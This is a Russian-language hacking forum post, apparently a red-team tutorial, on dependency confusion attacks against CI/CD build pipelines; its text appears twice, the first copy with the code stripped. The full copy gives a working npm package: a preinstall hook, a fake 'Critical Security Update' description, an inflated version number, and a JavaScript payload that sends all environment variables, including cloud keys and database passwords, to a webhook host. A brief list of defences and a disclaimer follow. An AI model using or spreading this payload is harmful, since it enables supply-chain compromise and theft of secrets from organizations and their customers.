[Red Team Guide] Shadow DevOps: Ломаем CI/CD пайплайны через Dependency Confusion + Kali Linux
Приветствую, комьюнити.
Сегодня мы не будем брутить SSH и сканить порты Nmap-ом, как делают на курсах за 10 баксов. Мы пойдем путем Red Team операций в крупных энтерпрайзах.
Речь пойдет о компрометации сборочных линий (Build Pipelines). Админы могут закрыть порты, но их сервер сборки обязан ходить в интернет, чтобы качать библиотеки. Этим мы и воспользуемся.
Сценарий атаки:
1. Recon: Ищем утечки конфигураций через Kali Linux.
2. Weaponization: Готовим пейлоад для кражи секретов (ENV).
3. Delivery: Маскируем зловреда под npm-пакет.
4. Exploitation: Получаем ключи доступа прямо с сервера сборки.
Погнали.
---
Фаза 1: Разведка (Recon)
Всё начинается с поиска цели. Нам нужно узнать, какие приватные библиотеки использует компания. Часто разрабы забывают почистить
Открываем Kali Linux. Нам понадобится тулза для фаззинга директорий, например
Команда в терминале:
Если находим открытый
---
Фаза 2: Создание "Оружия" (Weaponization)
Теперь нам нужно сделать так, чтобы при установке этой библиотеки сервер сборки открыл нам доступ или слил данные.
Мы можем использовать Metasploit для шелла, но профессиональнее будет тихо слить Переменные Окружения (Environment Variables), где хранятся AWS Keys и пароли от БД.
Создаем простой JS-пейлоад.
Файл
---
Фаза 3: Отравление (Delivery)
Создаем фейковый пакет.
1. Создаем папку
2. Внутри делаем
3. Версию ставим выше, чем у жертвы (например,
Файл
Главная фишка тут в
Публикуем в npm registry:
---
Фаза 4: Эксплуатация (Exploitation)
Теперь ждем. Как только DevOps жертвы или их автоматический CI/CD раннер (Jenkins, GitLab CI) запустит команду
Идем в наш логгер (webhook) и видим прилетевший JSON.
Что мы получили?[/B]
1.
2.
3.
---
Как защититься (Blue Team tips)
Чтобы не стать героем такой статьи:
Disclaimer: Информация предоставлена исключительно в образовательных целях для тестирования собственных систем. Автор не несет ответственности за действия третьих лиц.
Stay safe, stay anonymous.
Приветствую, комьюнити.
Сегодня мы не будем брутить SSH и сканить порты Nmap-ом, как делают на курсах за 10 баксов. Мы пойдем путем Red Team операций в крупных энтерпрайзах.
Речь пойдет о компрометации сборочных линий (Build Pipelines). Админы могут закрыть порты, но их сервер сборки обязан ходить в интернет, чтобы качать библиотеки. Этим мы и воспользуемся.
Сценарий атаки:
1. Recon: Ищем утечки конфигураций через Kali Linux.
2. Weaponization: Готовим пейлоад для кражи секретов (ENV).
3. Delivery: Маскируем зловреда под npm-пакет.
4. Exploitation: Получаем ключи доступа прямо с сервера сборки.
Погнали.
---
Фаза 1: Разведка (Recon)
Всё начинается с поиска цели. Нам нужно узнать, какие приватные библиотеки использует компания. Часто разрабы забывают почистить
.git папки на проде или светят package.json в публичных репозиториях.Открываем Kali Linux. Нам понадобится тулза для фаззинга директорий, например
dirsearch. Ищем забытые файлы конфигураций.Команда в терминале:
Code:
dirsearch -u https://target-company.com -e json,txt,git -w /usr/share/wordlists/dirb/common.txt
Если находим открытый
.git или package.json, вытягиваем имена внутренних библиотек. Например, мы нашли зависимость "internal-billing-core".---
Фаза 2: Создание "Оружия" (Weaponization)
Теперь нам нужно сделать так, чтобы при установке этой библиотеки сервер сборки открыл нам доступ или слил данные.
Мы можем использовать Metasploit для шелла, но профессиональнее будет тихо слить Переменные Окружения (Environment Variables), где хранятся AWS Keys и пароли от БД.
Создаем простой JS-пейлоад.
Файл
index.js (наш "зловред"):
Code:
const https = require('https');
const os = require('os');
// Собираем самое вкусное: имя хоста, юзера и ВСЕ переменные окружения
const payload = JSON.stringify({
host: os.hostname(),
user: os.userInfo().username,
env: process.env // Тут лежат AWS_SECRET_KEY, DB_PASS и прочее
});
// Отправляем данные на наш сниффер (RequestBin или Burp Collaborator)
const req = https.request({
hostname: 'webhook.site', // Замените на свой хост
path: '/your-uuid',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': payload.length
}
}, (res) => {});
req.write(payload);
req.end();
---
Фаза 3: Отравление (Delivery)
Создаем фейковый пакет.
1. Создаем папку
internal-billing-core.2. Внутри делаем
package.json.3. Версию ставим выше, чем у жертвы (например,
99.9.9), чтобы пакетный менеджер выбрал НАШ пакет из публичного репо, а не их локальный.Файл
package.json:
Code:
{
"name": "internal-billing-core",
"version": "99.9.9",
"description": "Critical Security Update",
"main": "index.js",
"scripts": {
"preinstall": "node index.js"
}
}
"preinstall". Скрипт выполнится до того, как библиотека реально установится. Даже если установка упадет с ошибкой — мы уже получили данные.Публикуем в npm registry:
Code:
npm publish
---
Фаза 4: Эксплуатация (Exploitation)
Теперь ждем. Как только DevOps жертвы или их автоматический CI/CD раннер (Jenkins, GitLab CI) запустит команду
npm install, он увидит, что в паблике есть версия 99.9.9, скачает её и выполнит код.Идем в наш логгер (webhook) и видим прилетевший JSON.
Что мы получили?[/B]
1.
AWS_ACCESS_KEY_ID — доступ к облаку.2.
DATABASE_URL — доступ к базе данных клиентов.3.
CI_JOB_TOKEN — доступ к исходному коду остальных проектов.---
Как защититься (Blue Team tips)
Чтобы не стать героем такой статьи:
- Используйте Scoped packages (например,
@mycompany/auth). - Настройте локальный прокси (Nexus/Artifactory) и запретите подтягивание внутренних имен из npmjs.org.
- Никогда не доверяйте публичным репозиториям слепо. Используйте lock-файлы.
Disclaimer: Информация предоставлена исключительно в образовательных целях для тестирования собственных систем. Автор не несет ответственности за действия третьих лиц.
Stay safe, stay anonymous.
👍21
😁2
🤔6
💯3
LIMB